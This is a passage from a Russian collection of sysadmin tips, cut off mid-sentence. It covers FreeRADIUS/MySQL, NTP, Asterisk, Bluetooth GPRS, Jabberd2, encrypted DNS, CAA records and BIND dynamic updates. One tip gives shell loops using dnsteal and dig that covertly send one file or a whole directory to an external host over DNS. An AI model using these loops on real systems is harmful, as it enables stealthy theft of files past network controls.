       Framed-IP-Address = 192.168.0.7
       Framed-IP-Netmask = 255.255.255.0
    
    Радиус работает и отвечает
    
    перейдем к настройкам MySQL
    
       mysql -u root -p
       mysql>CREATE DATABASE radius;
       mysql>GRANT ALL ON radius.* TO radius@localhost IDENTIFIED BY "123";
       mysql>\q
    
       mysql -u root -p radius </usr/share/doc/freeradius-1.1.3/examples/mysql.sql
    
    проверяем:
    
       mysql -u root -p
       mysql>use database radius;
       mysql>show tables;
       mysql>\q
    
    правим /etc/raddb/sql.conf, раскомментируем
    
       readclients = yes
    
    правим /etc/raddb/radiusd.conf
    в секциях authorize{}, authorize{}, session{}, post-auth{} раскомментируем
    
       sql
    
    получиться примерно так:
    
       authorize {
          preprocess
          chap
          mschap
          suffix
          eap
          sql
          pap
       }
    
    Заполним базу в MySQL:
    
       mysql -u root -p
       mysql> use database radius;
       mysql> INSERT INTO radcheck (UserName, Attribute, Value) VALUES ('testsql', 'Password', 'test123');
    
    проверяем:
    
       mysql> select * from radcheck where UserName='testsql';
       mysql>\q
    
    правим /etc/raddb/sql.conf
    выставляем правильные значения:
    
       server = "localhost"
       login = "radius"
       password = "123"
       radius_db = "radius"
    
    в файле /etc/raddb/users комментируем строки
    
       #DEFAULT        Auth-Type = System
       #       Fall-Through = 1
    
    запускаем radiusd -X
    на другой консоли
    
       radtest testsql test123 localhost 1812 123
    
    если получили Access-Accept, то всё в порядке, связка FreeRadius+MySQL работает, 
    теперь можете заполнять таблицы DB нужными значениями и использовать в своих
    устройствах авторизации
    через ваш радиус, для этого IP устройства надо добавить в /etc/raddb/clients.conf, примерно так:
    
       client 192.168.0.55 {
          secret          = MysUp3rseCr3t
          shortname       = my_device_name 
          nastype     = other
       }
    
    Удачной работы!!!
    
     
    ----* Настройка синхронизации времени на сервере FreeBSD (доп. ссылка 1)   Автор: Litos  [комментарии]
     
    Прописываем в /etc/rc.conf
    
        ntpdate_enable="YES"
        ntpd_enable="YES"
    
    Первая строка будет запускать ntpdate при ребуте сервера чтобы система загрузилась с 
    правильно установленными часами. Вторая строка запустит демон ntpd, который будет 
    заведовать плавной корректировкой времени в дальнейшем.
    
    Далее в /etc/ntp.conf пишем (рекомендуемые сервера с ntp.org)
    
        server 0.pool.ntp.org
        server 1.pool.ntp.org
        server 2.pool.ntp.org
        restrict 127.0.0.1
    
    Строка restrict 127.0.0.1 разрешает управление демоном ntpd только с localhost 
    (например для работы утилиты ntpd), можно вообще закрыть доступ написав restrict default ignore 
    или разрешить только из локальной сети 
       restrict 192.168.1.0 mask 255.255.255.0 nomodify notrap
    разрешит синхронизацию времени, но запретит настраивать сервер или быть
    равноправными участниками синхронизации времени.
    
    И собственное все, подводим часы
    
        # /etc/rc.d/ntpdate start
        Setting date via ntp.
        23 Jan 00:56:48 ntpdate[928]: step time server 193.125.143.140 offset 0.027002 sec
    
    и запускаем демон
    
        # /etc/rc.d/ntpd start
        Starting ntpd.
    
    Смотрим что ntpd запустился нормально
    
        # ps ax|grep ntpd
        1044 ?? Ss 0:00,04 /usr/sbin/ntpd -c /etc/ntp.conf -p /var/run/ntpd.pid -f /var/db/ntpd.drift
        # tail /var/log/messages
        Jan 23 00:57:09 lola ntpd[1043]: ntpd 4.2.4p5-a Mon Jan 5 16:59:33 IRKT 2009 (1)
        # ntpq -p
             remote           refid      st t when poll reach   delay   offset  jitter
        
         petrel.telecom. 192.36.143.150   2 u   60   64    1  119.017  5082.52   0.004
         hornet.itconnec 89.111.168.177   4 u   59   64    1  134.423  5086.05   0.004
         jane.telecom.mi 192.36.143.151   2 u   58   64    1  120.222  5086.08   0.004
    
     
    ----* Шаблоны в конфигурационных файлах Asterisk (sip.conf) (доп. ссылка 1)   Автор: Romik  [комментарии]
     
    Никогда не обращал внимание на такую особенность sip.conf, случайно заметил, что если делать
    
    ------ cut ------
    [100](!)
    context=100
    secret=cdm13m-0r9j345
    type=friend
    host=dynamic
    nat=yes
    disallow=all
    allow=ulaw
    
    [200](100)
    context=200
    secret=014nm015m9g-f,138n
    ------ cut ------
    
    , то 200 сможет зарегистрироваться, а 100 - нет, и в sip show peers его тоже не будет, 
    он может использоваться только как шаблон.
    
    Правильный вариант будет таким:
    
    ------ cut ------ 
    [simple-template](!)
    type=friend
    host=dynamic
    nat=yes
    disallow=all
    allow=ulaw
    
    [100](simple-template)
    context=100
    secret=cdm13m-0r9j345
    
    [200](simple-template)
    context=200
    secret=014nm015m9g-f,138n
    ------ cut ------
    
    То есть отдельно создается шаблон, и отдельно пиры/френды.
    
    // Шаблоны в Asterisk IP PBX используются не только в sip.conf, но и в других
    конфигурационных файлах.
    См. http://www.voip-info.org/wiki/view/Asterisk+config+template и далее по ссылкам.
    
     
    ----* Настройка bluetooth соединения в Asus EeePC   [комментарии]
     
    Не смотря на то, что в EeePС нет встроенного bluetooth адаптера, 
    к нему легко можно подключить внешний bluetooth брелок с USB интерфейсом.
    
    Все необходимые консольные приложения доступны после установки пакета:
    
       apt-get install bluez-utils
    
    К сожалению для eeepc отсутствуют GUI хелперы для связывания устройств, 
    из того что есть в репозиториях debian etch и xandros (например kdebluetooth), 
    из-за проблем с зависимостями пакетов, подходит только bluez-gnome.
    
    Если bluetooth устройство самостоятельно может инициировать связывание, 
    то все нормально, если нет - при попытке связать устройства используя только консольные 
    средства начинаются проблемы, в bluez 3.x был изменен механизм связывания устройств, 
    если ранее достаточно было создать простой скрипт для вывода PIN и прописать в options 
    секцию  hcid.conf -  "pin_helper /etc/bluetooth/feed-pin.sh;", то теперь для получения PIN 
    используется DBUS. В комплекте с bluez поставляется программа passkey-agent, 
    предназначенная для связывания устройств, в пакет bluez-utils в Debian GNU/Linux эта программа 
    по каким-то соображениям не была включена. Исходные тексты программы можно найти в 
    /usr/share/doc/bluez-utils/examples, но для сборки потребуется установка
    окружения для сборки программ,
    что в условиях небольшого SSD диска не вполне оправдано. Запускается агент примерно так: 
    
       passkey-agent --default 1234
    
    где, 1234 пароль для связывания.
    
    Выход нашелся в апплете bluetooth-applet, который входит в состав пакета bluez-gnome. 
    Запустив который при попытке связывания появляется  диалоговое окно для ввода пароля связывания.
    
    
    Для настройки GPRS через сотовый телефон с Bluetooth интерфейсом можно использовать пакет 3egprs 
    (устанавливает иконку на десктоп и скрипт /usr/sbin/gprsconf) с сайта http://www.3eportal.com/
    
    Другой вариант - инициирование ppp сессии из консоли. Ниже пример настройки:
    
    Подключаем bluetooth адаптер в USB порт. Через dmesg смотрим, нашелся ли дня него драйвер.
    
    Запускаем инициализацию bluez:
       /etc/init.d/bluetooth start
    
    Смотрим поднялся ли интерфейс:
       hciconfig 
    
    Если статус down, поднимаем его:
       hcicofig hci0 up
    
    Сканируем доступные устройства:
       hcitool scan
    
    Запоминаем адрес устройства. Для примера проверяем его доступность:
       l2ping 00:0A:0B:0C:0D:0E
    
    Адрес можно посмотреть командой:
       hcitool dev
    
    а определить поддерживаем ли bluetooth устройство GPRS:
       sdptool search DUN
    
    Создаем rfcomm интерфейс:
       rfcomm bind 0 [полученный адрес] 1
    
    По идее rfcomm должен создаться автоматически, при надлежащей настройке /etc/bluetooth/rfcomm.conf,
    например: 
    
       rfcomm0 { 
            bind yes;
            device 00:0A:0B:0C:0D:0E;
            channel 1;
            comment "Mobile";
       }
    
    Далее создаем файл конфигурации для pppd, /etc/ppp/peers/mts:
    
       lcp-echo-failure 0
       lcp-echo-interval 0
       /dev/rfcomm0
       connect "/usr/sbin/chat -v -f /etc/ppp/peers/gprs"
       115200
       crtscts
       debug
       ipcp-accept-local
       noauth
       usepeerdns
       defaultroute
       noipdefault
       nodetach
    
    /etc/ppp/peers/gprs:
    
       ABORT  BUSY  ABORT  'NO CARRIER' ABORT VOICE ABORT 'NO DIALTONE' ABORT
       'NO DIAL TONE' ABORT 'NO ANSWER' ABORT DELAYED
       '' 'AT'
       'OK' 'AT+CGDCONT=1,"IP","internet.mts.ru"'
       'OK' 'ATDT*99***1#'
       TIMEOUT 30
       CONNECT
    
    Для beeline заменяем "internet.mts.ru" на "internet.beeline.ru", для мегафона
    пишем просто "internet".
    
    Подключаемся выполнив команду:
       pppd call mts
    
    Перевод wiki-страницы о настройке Bluetooth в Asus EeePC, выполненный
    Сгибневым Михаилом, 
    можно найти на странице: http://www.opennet.ru/base/modem/bluetooth_eeepc.txt.html
    
     
    ----* Установка и настройка JUD для Jabberd2 под FreeBSD 6.1 (доп. ссылка 1)   Автор: protonix  [обсудить]
     
    0. Создание пользователя jabber из группы jabber
    
       #adduser
    
    1. Установка Jabber думую не вызывает проблем - в портах /usr/ports/net-im/jabberd 
    
       #make install clean
    
    2. Настройка
    
    Можно ниче не менять и оставить все поумолчанию,но желательно изменить в файлах 
       /usr/local/etc/jabberd/sm.xml 
       /usr/local/etc/jabberd/c2s.xml
    
    Если сервер будет не только для локальной сети, а со связью с глобальными, то также меняем в
       /usr/local/etc/jabberd/s2s.xml
       /usr/local/etc/jabberd/resolver.xml
    
    Если нет то можно закоментить в jabber.cfg эти части
    меняем имя сервера, и пароль (хотя можно и не менять)
    id имя сервера - это то что после @ =) может быть любое (по умолчанию localhost)
    user имя для router.xml (jabberd)
    pass пароль тоже для router.xml (secret)
    
    Еще проблемы были с паролем в файле router-users.xml - если везде поменяли, то и здесь не забудьте
    
    3. Настройка БД
    
    по умолчанию используется MySQL, ниче менять не будем.
    заходим под рутом в MySQL и запускаем скрипт (должны находиться в папке со
    скриптом /usr/local/share/jabberd)
    
       mysql -u root -p
       mysql>\. db-setup.mysql
    
    добавляем пользователя (jabberd2) БД и пароль (secret) к нему
    
       GRANT select,insert,delete,update ON jabberd2.* to jabberd2@localhost IDENTIFIED by 'secret';
    
    если изменили, не забудьте изменить и в sm.xml
    
    на всякий случай делаем ссылку
       ln -s /var/lib/mysql/mysql.sock /tmp/mysql.sock 
    
    
    Попробуйте запустить - заходим под jabber и набираем
       >jabberd
    
    В /var/logs/messages смотрим результат - должно быть реди 
    если не запустился,то гдето косяк,запускаем в отладочном режиме
       >jabberd -D
    
    смотрим на чем сервер умирает и исправляем
    
    4. Установка users-agent
    
       /usr/ports/net-im/jabber-users-agent 
       #make install clean
    
    5. Настройка users-agent
    
    в /usr/local/etc/ опять изменяем конфиг имя,пароль,имя БД(jud),пароль БД(jud)
    
    6. Настройка БД
    
    можно наверно запустить скрипт,но говорят он не работает,поэтому пишем сами
    
       CREATE DATABASE JUD;
       GRANT ALL PRIVILEGES ON JUD.* to jud@localhost IDENTIFIED BY 'jud';
       CREATE TABLE JUD.jud (jid VARCHAR(100) PRIMARY KEY, name VARCHAR(100),
                           first VARCHAR(50), last VARCHAR(50),nick VARCHAR(50),
                           email VARCHAR(50), INDEX ind_name (name), INDEX ind_first (first),
                           INDEX ind_last (last), INDEX ind_nick (nick),
                           INDEX ind_email (email));
    
    7. Все запускаем из под пользователя jabber - сначала сам джаббер-сервер
    
       >jabberd 
    
    можно в фоновом режиме с параметром -B
    Потом users-agent
    
    в папке /usr/local/lib/jabber/users-agent
    
       >./users-agent
    
    Все проверяйте в PSI - создавать аккаунты и пытаться найти себя=)
    
    Какие были у меня проблемы:
    
    Читал всякие вики и ртфм и запутался=) :
    
    а)Проблемы с правами доступа, так как запускать можно только от 
    пользователя Jabber,не забудьте для конфигов поставить права доступа
    
    б)Исправление файла router-users.xml - нигде вроде не встречал, поэтому и не исправлял
    
    в)Устанавливать надо jabber-users-agent, а не jabber-JUD =)
    
    г)Перловский скрипт запускается с ./ =)
    
    д)Если был до другой джаббер сервер все сносите деинсталом и подчищайте вручную
    
    Вообщето все лежит на 
    http://jabberd.jabberstudio.org/2/docs/jabberd_guide.html 
    
    но там много и на английском.И еще помогло 
    http://ru.gentoo-wiki.comНастройка_JUD_на_сервере_Jabberd_версии_2.x
    
     
    ----* Как в программе, запущенной через inetd, узнать IP адрес клиента.   [комментарии]
     
    В /etc/hosts.allow (man hosts_access;man hosts_options):
    # IP в REMOTE_ADDR
      popa3d: ALL : setenv REMOTE_ADDR %a : allow
    # имя хоста в REMOTE_ADDR
      popa3d: ALL : setenv REMOTE_ADDR %h : allow
    В программе IP адрес получаем через getenv("REMOTE_ADDR").
    
     

       DNS

    ----* Организация шифрованного доступа к DNS-серверу BIND (DNS-over-TLS) при помощи nginx  (доп. ссылка 1)   [комментарии]
     
    Для предоставления клиентам возможности доступа к DNS-серверу на основе BIND с
    использованием протокола DNS-over-TLS можно настроить TLS-прокси с
    использованием nginx.
    
    Для добавления TLS-слоя поверх DNS можно использовать модуль stream для
    nginx, который прозволяет организовать проброс произвольных TCP- и UDP-соединений.
    
    
    Пример nginx.conf:
    
       user www-data;
       worker_processes auto;
       pid /run/nginx.pid;
    
       events {
          worker_connections 1024;
       }
    
       stream {
          upstream dns_tcp_servers {
             # IP и порт DNS-сервера, на который будет делать проброс
             server 127.0.0.1:53; 
          }
    
          # Прикрепляем к 853 порту слой TLS, пробрасываемый на локальный DNS-сервер
          server {
             listen 853 ssl;
             proxy_pass dns_tcp_servers;
    
             ssl_certificate       /etc/nginx/ssl/certificates/privacydns.crt;
             ssl_certificate_key   /etc/nginx/ssl/certificates/privacydns.key;
             ssl_protocols         TLSv1.2;
             ssl_ciphers           ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384;
             ssl_session_tickets on;
             ssl_session_timeout   4h;
             ssl_handshake_timeout 30s;
          }
       }
    
    Сертификат можно получить через Let's Encrypt.
    
       certbot certonly -d privacydns.example.com --standalone
    
    На стороне клиента в качестве резолвера можно использовать Unbound, Knot или
    stubby.
    
     
    ----* Защита от подмены серверных TLS-сертификатов в результате MITM-атаки провайдером (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Для предотвращения получения TLS-сертификатов третьими лицами, которые в ходе
    MITM-атаки могут контролировать трафик сервера, рекомендовано использовать
    DNS-запись CAA, через которую можно указать какой именно удостоверяющий центр и
    какая именно учётная запись в этом удостоверяющем центре авторизированы на
    выдачу сертификата для домена.
    
    CAA поддерживается в Let's Encrypt и не позволяет запросить сертификат,
    используя другой ACME-ключ. Для включения привязки в DNS-зону следует добавить:
    
    для привязки домена example.com к удостоверяющему центру letsencrypt.org:
    
       example.com. IN CAA 0 issue "letsencrypt.org"
    
    для дополнительно привязки к учётной записи acme-v02.api.letsencrypt.org/acme/acct/1234567890
    
       example.com. IN CAA 0 issue "letsencrypt.org; accounturi=https://acme-v02.api.letsencrypt.org/acme/acct/1234567890"
    
    DNS-сервер должен быть размещён на отдельном сервере, не подверженном
    MITM-атаке. Для дополнительной защиты от подмены DNS необходимо использовать
    протокол DNSSEC, который помешает атакующим подменить  DNS-ответы с записью CAA.
    
    Дополнительно рекомендовано через Tor или внешние хосты наладить автоматический
    мониторинг  отсутствия подмены сертификатов, и подключиться к сервисам
    мониторинга CT-логов (Certificate Transparency, отражают выданные
    удостоверяющими центрами сертификаты) или вручную отслеживать появление
    незапрошенных сертификатов в CT-логах (https://crt.sh/). Также  рекомендовано
    выбирать размещённых в разных странах операторов хостинга, регистрации домена,
    DNS и удостоверяющих центров.
    
     
    ----* Включение DNS over TLS в Fedora (доп. ссылка 1)   [комментарии]
     
    Включаем  DNSOverTLS в настройках systemd-resolved.
    /etc/systemd/resolved.conf
    
       [Resolve]
       DNS=1.1.1.1 9.9.9.9
       DNSOverTLS=yes
       DNSSEC=yes
       FallbackDNS=8.8.8.8 1.0.0.1 8.8.4.4
    
    Переводим NetworkManager на использование systemd-resolved, которому будут
    передаваться параметры DNS, полученные через DHCP для переопределения настроек /etc/systemd/resolved.conf.
    Создаём файл /etc/NetworkManager/conf.d/10-dns-systemd-resolved.conf и записываем в него
    
       [main]
       dns=systemd-resolved
    
    Если необходимо всегда использовать список DNS-серверов, заданных в
    /etc/systemd/resolved.conf, вместо  dns=systemd-resolved нужно указать "dns=none".
    
    Запускаем необходимые сервисы:
    
       sudo systemctl start systemd-resolved
       sudo systemctl enable systemd-resolved
       sudo systemctl restart NetworkManager
    
    По умолчанию systemd-resolved отключён, но его планируют активировать в Fedora 33.
    
    Проверяем, что всё работает нормально. 
    
    В /etc/resolv.conf должен быть указан 127.0.0.53
    
       $ resolvectl status
    
       MulticastDNS setting: yes                 
         DNSOverTLS setting: yes                 
             DNSSEC setting: yes                 
           DNSSEC supported: yes                 
         Current DNS Server: 1.1.1.1             
                DNS Servers: 1.1.1.1             
                             9.9.9.9             
       Fallback DNS Servers: 8.8.8.8             
                             1.0.0.1             
                             8.8.4.4
    
       $ sudo ss -lntp | grep '\(State\|:53 \)'
    
       State     Recv-Q    Send-Q       Local Address:Port        Peer   Address:Port    Process                                                                         
       LISTEN    0         4096         127.0.0.53%lo:53               0.0.0.0:*        users:(("systemd-resolve",pid=10410,fd=18))
    
    
       $ resolvectl query example.com
       fedoraproject.org: 93.184.216.34                 -- link: wlp58s0
     
    
     
    ----* Включение DNS-over-HTTPS в Chrome (доп. ссылка 1)   [комментарии]
     
    В феврале в кодовую базу Chromium без лишней огласки была добавлена
    недокументированная возможность использования DNS-over-HTTPS (DoH).  Если в
    обычной ситуации DNS-запросы напрямую отправляются на определённые в
    конфигурации системы DNS-серверы, то в случае DoH запрос на определение
    IP-адреса хоста инкапсулируется в трафик HTTPS и отправляется на HTTP-сервер,
    на котором резолвер обрабатывает запросы через Web API. Существующий стандарт
    DNSSEC использует шифрование лишь для аутентификации клиента и сервера, но не
    защищает трафик от перехвата и не гарантирует конфиденциальность запросов.
    
    Для использования DoH-сервера компании  Cloudflare следует запустить Chrome с опциями:
    
    
       chrome --enable-features="dns-over-https<DoHTrial" \
        --force-fieldtrials="DoHTrial/Group1" \
        --force-fieldtrial-params="DoHTrial.Group1:server/https%3A%2F%2Fcloudflare-dns%2Ecom%2Fdns-query/method/POST
    
    
    
    В Firefox начиная с конца сентября поддержка DNS-over-HTTPS будет поступательно
    включаться по умолчанию. Для включения DoH не дожидаясь активации по
    умолчанию, в about:config следует изменить значение переменной network.trr.mode:
    
    * 0 полностью отключает DoH; 
    * 1 - используется DNS или DoH, в зависимости от того, что быстрее; 
    * 2 - используется DoH по умолчанию, а DNS как запасной вариант; 
    * 3 - используется только DoH; 
    * 4 - режим зеркалирования при котором DoH и DNS задействованы параллельно. 
    
    По умолчанию используется DNS-сервер CloudFlare, но его можно изменить через
    параметр network.trr.uri, например, можно установить
     "https://dns.google.com/dns-query" ("https://9.9.9.9/dns-query") 
     "https://dns.quad9.net/dns-query"  
     "https://doh.opendns.com/dns-query" 
     "https://cloudflare-dns.com/dns-query" ("https://1.1.1.1/dns-query")
     "https://doh.cleanbrowsing.org/doh/family-filter/"
      "https://doh.dns.sb/dns-query"
    
     
    ----* Список общедоступных DNS-резолверов   [комментарии]
     
  • 8.8.8.8, 8.8.4.4 - Google (поддерживается DNS over TLS)
  • 1.1.1.1, 1.0.0.1 - CloudFlare (поддерживается DNS over TLS)
  • 9.9.9.9, 149.112.112.112 - Quad9 (блокируются вредоносные хосты и поддерживается DNS over TLS)
  • 77.88.8.7, 77.88.8.3 - Yandex (блокируются вредоносные хосты)
  • 208.67.222.222, 208.67.220.220 - OpenDNS/Cisco (блокируются вредоносные хосты и сайты для взрослых, поддерживается DNSCrypt и DNS over TLS))
  • 8.26.56.26, 8.20.247.20 - Comodo (блокируются вредоносные хосты, поддерживается DNSCrypt и DNS over TLS)
  • 185.228.168.168, 185.228.169.168 - CleanBrowsing.org (блокируется хосты с сайтами для взрослых, поддерживается DNSCrypt)
  • 84.200.69.80, 84.200.70.40 - DNS Watch (не ведутся логи)
  • 37.235.1.174, 37.235.1.177 - FreeDNS (не ведутся логи)
  • 45.77.165.194, 45.32.36.36 - Fourth Estate (не ведутся логи)
  • 91.239.100.100, 89.233.43.71 - UncensoredDNS (первый anycast, второй размещён в Дании)
  • 64.6.64.6, 64.6.65.6 - Verisign
  • 4.2.2.[1-6] - Level 3 Communications (4.2.2.1 - 4.2.2.6)
  •  
    ----* Включение ESNI и DNS over HTTPS в Firefox (доп. ссылка 1)   [комментарии]
     
    Включения network.security.esni.enabled=true в about:config недостаточно для
    активации в Firefox  TLS-расширения ESNI (Encrypted Server Name Indication),
    обеспечивающего шифрование данных о хосте, запрашиваемом в рамках HTTPS-соединения.
    
    На данным момент ESNI не работает без использования встроенного в Firefox
    резолвера "DNS over HTTPS" (network.trr.mode = 2). Использовать ESNI
    пока можно только при активации "DNS over HTTPS".
    
    
    Для включения "DNS over HTTPS" в about:config следует изменить значение
    переменной network.trr.mode. Значение 0 полностью отключает DoH;
    1 - используется DNS или DoH, в зависимости от того, что быстрее; 
    2 - используется DoH по умолчанию, а DNS как запасной вариант; 
    3 - используется только DoH; 
    4 - режим зеркалирования при котором DoH и DNS задействованы параллельно. 
    
    По умолчанию используется DNS-сервер CloudFlare, но его можно изменить через
    параметр network.trr.uri, например, можно установить:
    
    * https://dns.google.com/experimental 
    * https://cloudflare-dns.com/dns-query 
    * https://dns.quad9.net/dns-query (он же https://9.9.9.9/dns-query)
    * https://doh.powerdns.org
    * https://doh.cleanbrowsing.org/doh/family-filter/ (с родительским контролем)
    * https://doh2.dnswarden.com (с родительским контролем)
    * https://dns.dnsoverhttps.net/dns-query (проброс запросов через tor)
    * https://doh.securedns.eu/dns-query (заявлено об отсутствии ведения логов)
    * https://doh.crypto.sx/dns-query (на базе doh-proxy)
    * https://doh-de.blahdns.com/dns-query (используется реализация на Go)
    * https://dns.dns-over-https.com/dns-query (используется реализация на Go)
    * https://commons.host (реализация на Node.js)
    
     
    ----* Скрытая отправка файлов через DNS   [комментарии]
     
    В рамках проекта https://github.com/m57/dnsteal развивается фиктивный
    DNS-сервер, позволяющий организовать скрытую отправку файлов по протоколу DNS,
    используя штатные системные утилиты резолвинга. Для уменьшения трафика
    поддерживается сжатие передаваемого содержимого.
    
    
    Запускаем сервер ("-z" - включает сжатие):
    
       python dnsteal.py 192.168.1.1 -z
    
    
    Для отправки файла send.txt на внешний хост 192.168.1.1, на котором запущен
    dnsteal, достаточно выполнить:
    
       for b in $(gzip -c send.txt | xxd -p); do dig @192.168.1.1 $b.filename.com; done
    
    Для отправки всех файлов из текущей директории
    
       for filename in $(ls); do for b in $(gzip -c $filename | xxd -p); do dig +short @192.168.1.1 %b.$filename.com; done; done
    
     
    ----* Настройка CustomDNS (DynDNS) на маршрутизаторе Cisco   Автор: serg-dn  [комментарии]
     
    Шаблон настроек Cisco IOS для обновления хоста MyHost своего домена
    My-DNS-Domain.com в DynDNS. Конфигурация для ADSL. Проверено на Cisco IOS
    Software, C870 Software (C870-ADVIPSERVICESK9-M), Version 12.4(24)T4. Для
    обновления раз в час необходима подписка на услугу DynDNS Pro, для корректной
    регистрации должна быть активирована услуга Custom DNS.
    
    Пример конфигурационного файла:
    
       !
       hostname MyHost
       !
       ip domain lookup source-interface Dialer1
       ip domain name My-DNS-Domain.com
       ip host ns1.mydyndns.org 204.13.248.76
       ip host ns3.mydyndns.org 208.78.69.76
       ip host ns4.mydyndns.org 91.198.22.76
       ip host ns5.mydyndns.org 203.62.195.76
       ip host ns2.mydyndns.org 204.13.249.76
       ip name-server 1.1.1.1
       ip name-server 1.1.1.2
       !
       ip ddns update method mydns
        HTTP
         add http://XXX:XXX@members.dyndns.org/nic/update?system=custom&   hostname=MyHost.My-DNS-Domain.com
      remove http://XXX:XXX@members.dyndns.org/nic/update?system=custom&hostname=MyHost.My-DNS-Domain.com
        interval maximum 0 0 1 30
       !
       !
       access-list 1500 permit any
       !
       interface Dialer1
        ip ddns update hostname MyHost.My-DNS-Domain.com
        ip ddns update mydns host members.dyndns.org
        ip access-group 1500 out
       !
    
     
    ----* Организация работы Opera и других приложений через Socks (доп. ссылка 1)   [комментарии]
     
    Если на локальной машине кроме socks имеется выход в интернет или доступ к
    DNS-резолверу, проблем не возникает, но если выход машины производится только
    через socks при запуске программ подобных браузеру opera всплывает неприятная
    проблема с резолвингом имен. Проблема в том, что утилиты подобные tsocks не
    позволяют перенаправлять DNS запросы через Socks и организовать работу
    резолвера поверх этого протокола.
    
    Выход найден в использовании privoxy (http://www.privoxy.org/), некеширующего
    HTTP-прокси, умеющего организовывать проброс трафика через Socks и самое важное
    - умеющего резолвить DNS-имена на socks-сервере.
    
    Ставим privoxy:
    
       sudo apt-get install privoxy
    
    Предположим на локальной машине имеется доступ к socks-серверу 127.0.0.1:1080
    В моем случае socks использовался для организации выхода в Интернет через
    телефон на платформе Android, делается это так:
    На телефоне включаем в настройках режим "USB Debugging" (Settings /
    Applications / Development) и запускаем программу Tetherbot (http://graha.ms/androidproxy/Tetherbot.apk).
    На локальный компьютер копируем программу adb из состава Android SDK и выполняем:
    
       ./adb forward tcp:1080 tcp:1080 
    
    теперь в Firefox можно прописать socks-сервер 127.0.0.1:1080 и  поставить в
    about:config network.proxy.socks_remote_dns=true, все будет прекрасно работать.
    Но нам нужно заставить работать opera и другие программы, поэтому настраиваем privoxy.
    
    В /etc/privoxy/config проверяем наличие директивы (по умолчанию выбран порт 8118)
    
       listen-address  127.0.0.1:8080
    
    и добавляем строку:
    
       forward-socks4a   /  127.0.0.1:1080  .
    
    или 
    
      forward-socks5   /  127.0.0.1:1080  .
    
    (внимание, режим forward-socks4 проброс DNS не поддерживает)
    
    Запускаем privoxy:
    
       sudo /etc/init.d/privoxy start
    
    
    Далее в opera устанавливаем в настройках обычного HTTP-прокси хост 127.0.0.1 и
    порт 8080. Все прекрасно работает, более того в качестве бонуса privoxy по
    умолчанию вырезает рекламу.
    
    Для консольных приложений удобно использовать пакет proxychains
    (http://proxychains.sourceforge.net/) в состав которого входит  утилита
    proxyresolv для резолвинга имен через socks.
    
     
    ----* Настройка Dynamic DNS на базе Bind9 и nsupdate (доп. ссылка 1)   Автор: Stepanoff  [комментарии]
     
    В данном руководстве описано как настроить динамическое обновление зоны DNS с
    удаленной машины, например с DHCP сервера, или если адрес выдается динамически,
    как при использовании ADSL. Описано как простое обновление зоны вручную, или по
    крону, так и обновление зоны DHCP сервером при выдаче ip-адреса клиенту.
    Настройка идентична для всех дистрибутивов и ОС (Linux, FreeBSD, Mac OS и
    прочих систем где есть Bind9).
    
    Итак, у нас есть две машины, dns-сервер, и клиент, который будет обновлять зону
    в соответствии со своим ip-адресом.
    
    На обоих машинах должен быть установлен bind9.
    
    Настройку можно начать с генерации ключей, по которым будет происходить
    авторизация клиента на dns-сервере, в примере ниже показано как сгенерировать
    ключ, в примере я использую имя dnsupdater, вы можете поменять на нужное вам.
    Генерировать ключи нужно на машине клиенте.
    
        dnssec-keygen -a hmac-md5 -b 128 -n USER dnsupdater
    
    После выполнения команды в текущей директории вы найдете 2 файла с именем
    Kdnsupdater.+157+31204.key и Kdnsupdater.+157+31204.private, последние пять
    цифр в имени меняются каждый раз при генерации, и у вас они будут другие. Файл
    с расширением .key является публичным ключем, он используется на сервере dns,
    файл с расширением .private нужен для авторизации клиента.
    
    Перейдем к настройке сервера, в директории с конфигурационными файлами bind9
    (обычно это либо /etc/bind, /etc/namedb, /var/named)
    
    Я настраивал сервер на линуксе, там это была директория /etc/bind, я буду
    использовать ее в этом руководстве.
    
    Создайте файл dnskeys.conf в директории /etc/bind, затем впишите туда данные о
    нашем ключе, сгенерированном на машине клиента
    
        # cat Kdnsupdater.+157+31204.key
    
        dnsupdater. IN KEY 0 3 157 YmEIxrGd1w1dT6Kyo9CQtQ==
    
    Так выглядит наш ключ, нам нужна только часть после цифры 157, а именно
    YmEIxrGd1w1dT6Kyo9CQtQ== (она каждый раз новая, у вас будет другая)
    
    В файл /etc/bind/dnskeys.conf впишите следующее (замените имя ключа и secret на ваши)
    
        key  dnsupdater {       
           algorithm hmac-md5;
           secret "YmEIxrGd1w1dT6Kyo9CQtQ==";
        };
    
    Затем в файл /etc/bind/named.conf впишите в самый конец файла
    
        include "/etc/bind/dnskeys.conf";
    
    Затем настроим зоны которые будут обновляться удаленно, в моем примере это зона
    для домена example.com и зона для обратных записей для адресов 192.168.0.0/24,
    ниже приведены примеры сразу для двух этих зон, обратите внимание на то, что
    файлы зон для обновления должны быть созданы заранее, в них должны быть
    прописаны SOA , NS, SERIAL и прочие стандартные настройки зоны.
    
        zone "example.com" {
          type master;
          file "master/example.com"
          allow-update { key dnsupdater; };
        };
    
        zone "0.168.192.in-addr.arpa" {
          type master;
          file "master/ptr/0.168.192.in-addr.arpa";
          allow-update { key dnsupdater; };
        };
    
    После этого выполните команду rndc reload для применения настроек.
    
    Небольшое отступление, если у вас установлена операционная система Ubuntu или
    Debian, или у вас в системе используется apparmor то вам необходимо
    перенастроить его, так как пользователь от которого работает DNS сервер bind9
    не имеет права записи в каталог с файлами конфигурации /etc/bind, а удаленное
    обновление зон как раз требует возможности записи в этот каталог от
    пользователя bind. Исправить это можно отредактировав конфигурационный файл
    apparmor для ограничения bind, найти его можно в директории /etc/apparmor.d/,
    имя файла usr.sbin.named. Отредактируйте файл как показано в примере ниже
    
    
    Значение по умолчанию:
    
        /etc/bind/** r,
    
    Должно быть:
    
        /etc/bind/** rw,
    
    После этого перезапустите apparmor и bind9.
    
    Теперь сервер готов к удаленному обновлению зон, перейдем к конечной настройке клиента.
    
    Создадим простой скрипт который будет парсить файл с командами для обновления
    зон, в нем нам понадобится путь до второго ключа, с расширением .private, вы
    можете положить его в директорию /etc/bind, и не забудьте сменить имя ключа в
    скрипте на ваше.
    
    
        #!/bin/bash
        /usr/bin/nsupdate -k /etc/bind/Kdnsupdater.+157+31204.private -v $1
    
    Сохраним данный скрипт с именем zonechange.sh и сделаем его исполняемым
    командой chmod +x zoneupdate.sh
    
    Затем создадим файл обновления зон, обновлять можно сразу несколько зон, по
    очереди. В примере мы добавим обратную зону для адреса 192.168.0.1, удалим
